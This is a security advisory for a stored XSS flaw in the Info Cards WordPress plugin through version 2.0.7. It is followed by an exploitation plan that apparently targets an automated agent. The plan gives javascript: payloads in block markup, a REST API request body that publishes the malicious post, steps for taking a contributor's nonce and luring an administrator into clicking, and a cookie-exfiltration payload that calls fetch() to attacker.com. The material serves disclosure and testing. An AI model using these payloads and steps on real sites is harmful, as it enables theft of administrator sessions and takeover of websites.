Info Cards <= 2.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block Attributes
Description
The Info Cards – Add Text and Media in Card Layouts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btnUrl' parameter within the Info Cards block in all versions up to, and including, 2.0.7. This is due to insufficient input validation on URL schemes, specifically the lack of javascript: protocol filtering. The block's render.php passes all attributes as JSON to the frontend via a data-attributes HTML attribute using esc_attr(wp_json_encode()), which prevents HTML attribute injection but does not validate URL protocols within the JSON data. The client-side view.js then renders the btnUrl value directly as an href attribute on anchor elements without any protocol sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject javascript: URLs that execute arbitrary web scripts when a user clicks the rendered button link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.0.8
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-4120**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Info Cards" WordPress plugin (version <= 2.0.7). ### 1. Vulnerability Summary The vulnerability exists because the plugin allows the `btnUrl` attribute of its Gutenberg block to cont…
Show full research plan
This exploitation research plan targets CVE-2026-4120, a Stored Cross-Site Scripting (XSS) vulnerability in the "Info Cards" WordPress plugin (version <= 2.0.7).
1. Vulnerability Summary
The vulnerability exists because the plugin allows the btnUrl attribute of its Gutenberg block to contain javascript: URIs. While the server-side rendering in build/render.php uses esc_attr(wp_json_encode()) to safely embed attributes into a data-attributes HTML attribute, the client-side view.js subsequently extracts this JSON and assigns the btnUrl value directly to the href property of an anchor (<a>) element without protocol validation. This allows an authenticated user with at least Contributor-level permissions to inject malicious scripts that execute when a victim clicks a button within the rendered Info Card.
2. Attack Vector Analysis
- Endpoint: WordPress REST API for post creation/update (
/wp/v2/posts) or the Gutenberg editor interface. - Vulnerable Attribute:
btnUrlwithin thebplugins/info-cardsblock (namespace inferred). - Payload Location: The block's JSON attributes.
- Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert blocks.
- Preconditions: The plugin must be active, and a post containing the malicious block must be published or viewed as a draft by a user with higher privileges (e.g., Administrator).
3. Code Flow
- Input: A Contributor creates/updates a post containing a block with the following markup:
<!-- wp:bplugins/info-cards {"btnUrl":"javascript:alert(document.domain)","btnText":"Click Me"} /--> - Server-Side Storage: WordPress saves the raw block markup in the
post_contentcolumn of thewp_poststable. - Server-Side Rendering (
build/render.php):- The
register_block_typecall ininfo-cards.phppoints to thebuilddirectory. build/render.phpexecutes when the post is viewed.- It retrieves
$attributes(which includesbtnUrl). - It renders:
<div ... data-attributes='<?php echo esc_attr( wp_json_encode( $attributes ) ); ?>'></div>. - At this stage, the payload is safely encoded inside a JSON string within an HTML attribute.
- The
- Client-Side Execution (
build/view.js):- The script (minified in the source) iterates through elements with
data-attributes. - It calls
JSON.parse()on the attribute value. - It dynamically generates an anchor tag:
const a = document.createElement('a');. - It assigns the URL:
a.href = attributes.btnUrl;(Vulnerable Sink). - The browser does not block
javascript:protocols assigned tohrefvia JavaScript.
- The script (minified in the source) iterates through elements with
4. Nonce Acquisition Strategy
To exploit this via the REST API (the most reliable automated method), the agent needs a wp_rest nonce.
- Identify Trigger: The block's frontend script is required to trigger the XSS.
- Access Admin: Authenticate as
contributor. - Extract Nonce:
- Navigate to
wp-admin/post-new.php. - Use
browser_evalto extract the REST nonce from the WordPress global settings object. - JavaScript Command:
window.wpApiSettings.nonce
- Navigate to
- Fallback: If
wpApiSettingsis missing, extract the_wpnoncefrom any REST API script tag or theheartbeatsettings.
5. Exploitation Strategy
- Authentication: Log in to the WordPress instance as a user with the
contributorrole. - Nonce Extraction: Navigate to
/wp-admin/post-new.phpand runbrowser_eval("wpApiSettings.nonce")to get the REST API nonce. - Payload Preparation: Define the block markup.
<!-- wp:bplugins/info-cards {"btnUrl":"javascript:alert(document.cookie)","btnText":"Secure Button"} /--> - Post Creation: Send a
POSTrequest to/wp-json/wp/v2/postsusing thehttp_requesttool.- Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "Info Card XSS Test", "content": "<!-- wp:bplugins/info-cards {\"btnUrl\":\"javascript:alert(document.cookie)\",\"btnText\":\"Click Me\"} /-->", "status": "publish" }
- Headers:
- Triggering XSS:
- As an Administrator, navigate to the newly created post's permalink.
- The
view.jswill process thedata-attributesand create the malicious link. - Click the element with the text "Click Me".
6. Test Data Setup
- User: Ensure a user with role
contributorexists (e.g.,contributor_user/password123). - Plugin Status: Ensure "Info Cards" version 2.0.7 is installed and activated.
- Post Setup: No specific existing content is required; the exploit creates its own post.
7. Expected Results
- The
POSTrequest should return201 Created. - The rendered HTML of the post should contain:
<div ... data-attributes='{"btnUrl":"javascript:alert(document.cookie)","btnText":"Click Me",...}'> - Upon clicking the button, a JavaScript
alertbox should appear displaying the user's cookies, confirming execution in the context of the victim's session.
8. Verification Steps
- Check DB State: Use
wp post get [ID] --field=post_contentto verify the block markup is stored correctly. - Inspect HTML: Use
browser_navigateto the post andbrowser_evalto check thehrefof the generated anchor:- Command:
document.querySelector('a.icb-card-btn').href(selectoricb-card-btnis inferred from bPlugins standards; verify actual class if needed).
- Command:
- Confirm Sink: Verify the value starts with
javascript:.
9. Alternative Approaches
- Editor Injection: If the REST API is restricted, use
browser_navigateto/wp-admin/post-new.php, then usebrowser_typeandbrowser_clickto manually insert a "Custom HTML" block or "Info Card" block if the agent can interact with the Gutenberg UI. - Draft Preview: If the Contributor cannot
publish, they can save as adraft. The Administrator can then be directed to/wp-admin/post.php?post=[ID]&action=editor the preview URL to trigger the XSS. - Blind XSS: Replace
alert()with afetch()call to an external collaborator to demonstrate data exfiltration.- Payload:
javascript:fetch('https://attacker.com/log?c='+btoa(document.cookie))
- Payload:
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.